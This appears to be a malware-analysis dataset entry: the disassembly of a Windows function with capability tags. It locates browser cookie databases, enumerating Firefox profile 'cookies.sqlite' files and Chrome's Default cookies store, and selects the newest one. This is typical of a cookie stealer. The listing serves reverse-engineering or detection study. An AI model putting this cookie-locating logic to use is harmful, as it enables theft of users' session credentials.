Function at 0x56d470
Capabilities:
Enumerate files on windows
Get file attributes

Disassembly:
push 0xffffffffffffffff
push 0x65017f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x6c0
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov dword [esp + 0x14], ebp
mov dword [esp + 0x1c], ebp
mov word [esp + 0x18], bp
mov eax, dword [esp + 0x6e0]
mov dword [esp + 0x6d8], ebp
cmp eax, ebp
je 0x56d92f
cmp dword [0x6fd164], ebp
je 0x56d4cc
mov dword [esp + 0x6d8], 0xffffffff
jmp 0x56dbe4
lea eax, [esp + 0x2c0]
push eax
call fcn.0056d3b0
add esp, 4
test eax, eax
jne 0x56d4fb
lea ecx, [esp + 0x14]
mov dword [esp + 0x6d8], 0xffffffff
call fcn.00401070
xor eax, eax
jmp 0x56dbf2
lea ecx, [esp + 0x2c0]
mov byte [esp + 0x13], 0
push ecx
call fcn.00609a4e
xor ecx, ecx
add esp, 4
dec eax
mov dword [esp + 0x30], ecx
mov dword [esp + 0x38], ebp
mov word [esp + 0x34], bp
cmp word [esp + eax*2 + 0x2c0], 0x5c
lea eax, [esp + eax*2 + 0x2c0]
mov byte [esp + 0x6d8], 1
mov dword [esp + 0x68], eax
mov esi, 0x6fc41c
je 0x56d548
mov esi, 0x6c91c0
mov edx, str._s_sMozillaFirefoxProfiles
test edx, edx
je 0x56d688
lea eax, [esp + 0x2c0]
test eax, eax
je 0x56d688
cmp esi, ebp
je 0x56d688
mov dword [esp + 0x24], ebp
mov dword [esp + 0x2c], ebp
mov word [esp + 0x28], bp
mov bl, 2
push ebp
push edx
lea ecx, [esp + 0x2c]
mov byte [esp + 0x6e0], bl
call fcn.004027e0
lea ecx, [esp + 0x2c0]
push ecx
lea ecx, [esp + 0x40]
call fcn.00401ee0
push esi
lea ecx, [esp + 0x4c]
mov byte [esp + 0x6dc], 3
call fcn.00401ee0
lea ecx, [esp + 0x30]
mov byte [esp + 0x6d8], 4
call fcn.00401070
mov esi, dword [esp + 0x2c]
lea ecx, [esp + 0x48]
call fcn.00401f10
push eax
call fcn.00609a4e
add esp, 4
lea ecx, [esp + 0x3c]
mov edi, eax
call fcn.00401f10
push eax
call fcn.00609a4e
add esi, edi
lea esi, [eax + esi + 3]
lea ebp, [esi + esi]
push ebp
call fcn.00622acb
mov edi, eax
add esp, 8
test edi, edi
mov dword [esp + 0x30], edi
je 0x56d650
mov ecx, ebp
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea ecx, [esp + 0x48]
call fcn.00401f10
push eax
lea ecx, [esp + 0x40]
call fcn.00401f10
push eax
lea ecx, [esp + 0x2c]
call fcn.00401f10
push eax
mov eax, dword [esp + 0x3c]
push esi
push eax
call fcn.006099de
mov ecx, dword [esp + 0x44]
push ecx
call fcn.00609a4e
add esp, 0x18
mov dword [esp + 0x38], eax
lea ecx, [esp + 0x48]
mov byte [esp + 0x6d8], 3
call fcn.00401070
lea ecx, [esp + 0x3c]
mov byte [esp + 0x6d8], bl
call fcn.00401070
lea ecx, [esp + 0x24]
mov byte [esp + 0x6d8], 1
call fcn.00401070
mov ecx, dword [esp + 0x30]
xor ebp, ebp
cmp ecx, ebp
jne 0x56d690
lea ecx, [esp + 0x34]
lea edx, [esp + 0x70]
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
mov dword [esp + 0x60], ebp
cmp edi, 0xffffffff
mov dword [esp + 0x6c], edi
mov dword [esp + 0x64], ebp
je 0x56d8ed
mov bl, 7
lea eax, [esp + 0x9c]
push 0x6c9f74
push eax
call fcn.0060a1a4
add esp, 8
test eax, eax
je 0x56d8ca
lea ecx, [esp + 0x9c]
push 0x6c9f6c
push ecx
call fcn.0060a1a4
add esp, 8
test eax, eax
je 0x56d8ca
lea edx, [esp + 0x60]
lea eax, [esp + 0x7c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
test eax, eax
jle 0x56d8ca
mov ecx, dword [esp + 0x68]
mov esi, 0x6fc41c
cmp word [ecx], 0x5c
je 0x56d71b
mov esi, 0x6c91c0
mov edx, str._s_sMozillaFirefoxProfiles_scookies.sqlite
test edx, edx
je 0x56d8b2
lea eax, [esp + 0x2c0]
test eax, eax
je 0x56d8b2
cmp esi, ebp
je 0x56d8b2
lea ecx, [esp + 0x9c]
test ecx, ecx
je 0x56d8b2
lea edx, [esp + 0x2c0]
lea ecx, [esp + 0x54]
push edx
call fcn.00401ee0
push esi
lea ecx, [esp + 0x4c]
mov byte [esp + 0x6dc], 5
call fcn.00401ee0
lea eax, [esp + 0x9c]
lea ecx, [esp + 0x3c]
push eax
mov byte [esp + 0x6dc], 6
call fcn.00401ee0
lea ecx, [esp + 0x14]
mov byte [esp + 0x6d8], bl
call fcn.00401070
lea ecx, [esp + 0x24]
call fcn.004027c0
push ebp
push str._s_sMozillaFirefoxProfiles_scookies.sqlite
lea ecx, [esp + 0x2c]
mov byte [esp + 0x6e0], 8
call fcn.004027e0
mov esi, dword [esp + 0x2c]
lea ecx, [esp + 0x3c]
call fcn.00401f10
push eax
call fcn.00609a4e
add esp, 4
lea ecx, [esp + 0x48]
mov edi, eax
call fcn.00401f10
push eax
call fcn.00609a4e
mov ebp, eax
add esp, 4
lea ecx, [esp + 0x54]
add ebp, esi
call fcn.00401f10
push eax
call fcn.00609a4e
add ebp, edi
lea esi, [eax + ebp + 4]
lea ebp, [esi + esi]
push ebp
call fcn.00622acb
mov edi, eax
add esp, 8
test edi, edi
mov dword [esp + 0x14], edi
je 0x56d869
mov ecx, ebp
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea ecx, [esp + 0x3c]
call fcn.00401f10
push eax
lea ecx, [esp + 0x4c]
call fcn.00401f10
push eax
lea ecx, [esp + 0x5c]
call fcn.00401f10
push eax
lea ecx, [esp + 0x30]
call fcn.00401f10
push eax
mov eax, dword [esp + 0x24]
push esi
push eax
call fcn.006099de
mov ecx, dword [esp + 0x2c]
push ecx
call fcn.00609a4e
add esp, 0x1c
mov dword [esp + 0x1c], eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x6d8], bl
call fcn.00401070
lea ecx, [esp + 0x3c]
mov byte [esp + 0x6d8], 6
call fcn.00401070
lea ecx, [esp + 0x48]
mov byte [esp + 0x6d8], 5
call fcn.00401070
lea ecx, [esp + 0x54]
mov byte [esp + 0x6d8], 1
call fcn.00401070
mov edi, dword [esp + 0x6c]
xor ebp, ebp
mov edx, dword [esp + 0x7c]
mov eax, dword [esp + 0x80]
mov dword [esp + 0x60], edx
mov dword [esp + 0x64], eax
mov byte [esp + 0x13], 1
lea ecx, [esp + 0x70]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x56d6b5
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, byte [esp + 0x13]
test al, al
jne 0x56d919
lea ecx, [esp + 0x30]
mov byte [esp + 0x6d8], 0
call fcn.00401070
lea ecx, [esp + 0x14]
mov dword [esp + 0x6d8], 0xffffffff
call fcn.00401070
xor eax, eax
jmp 0x56dbf2
lea ecx, [esp + 0x30]
mov byte [esp + 0x6d8], 0
call fcn.00401070
jmp 0x56dad8
cmp dword [0x6fd168], ebp
je 0x56d947
mov dword [esp + 0x6d8], 0xffffffff
jmp 0x56dbe4
lea edx, [esp + 0x4c8]
push edx
call fcn.0040f1e0
add esp, 4
test eax, eax
jne 0x56d976
lea ecx, [esp + 0x14]
mov dword [esp + 0x6d8], 0xffffffff
call fcn.00401070
xor eax, eax
jmp 0x56dbf2
lea eax, [esp + 0x4c8]
push eax
call fcn.00609a4e
add esp, 4
dec eax
mov esi, 0x6fc41c
cmp word [esp + eax*2 + 0x4c8], 0x5c
je 0x56d99c
mov esi, 0x6c91c0
mov ecx, str._s_sGoogleChromeUser_DataDefaultcookies
test ecx, ecx
je 0x56dad8
lea edx, [esp + 0x4c8]
test edx, edx
je 0x56dad8
cmp esi, ebp
je 0x56dad8
lea ecx, [esp + 0x24]
call fcn.004027c0
push ebp
push str._s_sGoogleChromeUser_DataDefaultcookies
lea ecx, [esp + 0x2c]
mov byte [esp + 0x6e0], 9
call fcn.004027e0
lea eax, [esp + 0x4c8]
lea ecx, [esp + 0x3c]
push eax
call fcn.00401ee0
mov bl, 0xa
push esi
lea ecx, [esp + 0x58]
mov byte [esp + 0x6dc], bl
call fcn.00401ee0
lea ecx, [esp + 0x14]
mov byte [esp + 0x6d8], 0xb
call fcn.00401070
mov esi, dword [esp + 0x2c]
lea ecx, [esp + 0x54]
call fcn.00401f10
push eax
call fcn.00609a4e
add esp, 4
lea ecx, [esp + 0x3c]
mov edi, eax
call fcn.00401f10
push eax
call fcn.00609a4e
add esi, edi
lea esi, [eax + esi + 3]
lea ebp, [esi + esi]
push ebp
call fcn.00622acb
mov edi, eax
add esp, 8
test edi, edi
mov dword [esp + 0x14], edi
je 0x56daa4
mov ecx, ebp
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea ecx, [esp + 0x54]
call fcn.00401f10
push eax
lea ecx, [esp + 0x40]
call fcn.00401f10
push eax
lea ecx, [esp + 0x2c]
call fcn.00401f10
push eax
mov eax, dword [esp + 0x20]
push esi
push eax
call fcn.006099de
mov ecx, dword [esp + 0x28]
push ecx
call fcn.00609a4e
add esp, 0x18
mov dword [esp + 0x1c], eax
lea ecx, [esp + 0x54]
mov byte [esp + 0x6d8], bl
call fcn.00401070
lea ecx, [esp + 0x3c]
mov byte [esp + 0x6d8], 9
call fcn.00401070
lea ecx, [esp + 0x24]
mov byte [esp + 0x6d8], 0
call fcn.00401070
xor ebp, ebp
mov edx, dword [0x6f7b78]
mov dword [esp + 0x20], edx
mov eax, dword [esp + 0x14]
mov byte [esp + 0x6d8], 0xc
cmp eax, ebp
jne 0x56daf6
lea eax, [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebp
push ebp
push ebp
push ebp
push 0xffffffffffffffff
push eax
push ebp
push 0xfde9
call edi
mov esi, eax
cmp esi, ebp
jle 0x56db3e
push esi
lea ecx, [esp + 0x24]
call fcn.00623157
mov ecx, dword [esp + 0x14]
cmp ecx, ebp
jne 0x56db27
lea ecx, [esp + 0x18]
push ebp
push ebp
push esi
or esi, 0xffffffff
push eax
push esi
push ecx
push ebp
push 0xfde9
call edi
test eax, eax
jne 0x56db43
jmp 0x56db5a
or esi, 0xffffffff
jmp 0x56db5a
mov eax, dword [esp + 0x14]
cmp eax, ebp
jne 0x56db4f
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, esi
jne 0x56db7f
lea ecx, [esp + 0x20]
mov byte [esp + 0x6d8], 0
call fcn.00622d8a
lea ecx, [esp + 0x14]
mov dword [esp + 0x6d8], esi
call fcn.00401070
xor eax, eax
jmp 0x56dbf2
cmp dword [esp + 0x6e0], ebp
je 0x56dbab
mov eax, dword [esp + 0x20]
push eax
push 0x6c910c
push 0x6fd13c
call fcn.0061fae1
add esp, 0xc
mov dword [0x6fd164], 1
jmp 0x56dbcc
mov ecx, dword [esp + 0x20]
push ecx
push 0x6c910c
push 0x6fd138
call fcn.0061fae1
add esp, 0xc
mov dword [0x6fd168], 1
lea ecx, [esp + 0x20]
mov byte [esp + 0x6d8], 0
call fcn.00622d8a
mov dword [esp + 0x6d8], esi
lea ecx, [esp + 0x14]
call fcn.00401070
mov eax, 1
mov ecx, dword [esp + 0x6d0]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x6cc
ret